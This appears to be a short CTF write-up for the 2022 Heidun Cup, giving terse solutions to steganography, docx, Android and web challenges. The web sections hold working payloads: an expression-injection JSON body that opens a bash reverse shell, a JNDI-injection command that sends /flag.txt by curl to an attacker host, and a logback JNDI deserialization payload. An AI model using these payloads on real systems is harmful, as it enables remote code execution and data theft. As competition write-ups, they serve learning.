---
# System prepended metadata

title: Writeups for 黑盾杯2022

---

# Writeups for 黑盾杯2022

## 看不见不等于没有

0x20 -> 0
0x09 -> 1
bin to bytes -> flag{HeiDunBei888888}

## The word is not the word

doc -> zip
document.xml -> {heyiamherejustinthedocx}

## 黑匣子

![](https://i.imgur.com/Gy0cVt5.png)


## HeidunGame

apktool

HeidunGame/smali/com/example/heidungame/data/LoginDataSource.smali

line 37 -> {heidun_game_of_android}

## Do you secure

竞争
就行了
upload_index.php

## ezwebweb

```
POST /validateBody HTTP/1.1

{"username":"asd","tel":"asd","email":"${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/ip/port<&1')\")}","yourworks":"asd"}
```

## EzJava

```
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl ip:port -File=@/flag.txt' -A "vps ip"
```

```
POST /;/json HTTP/1.1

["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://ip:port/digc0w"}]
```
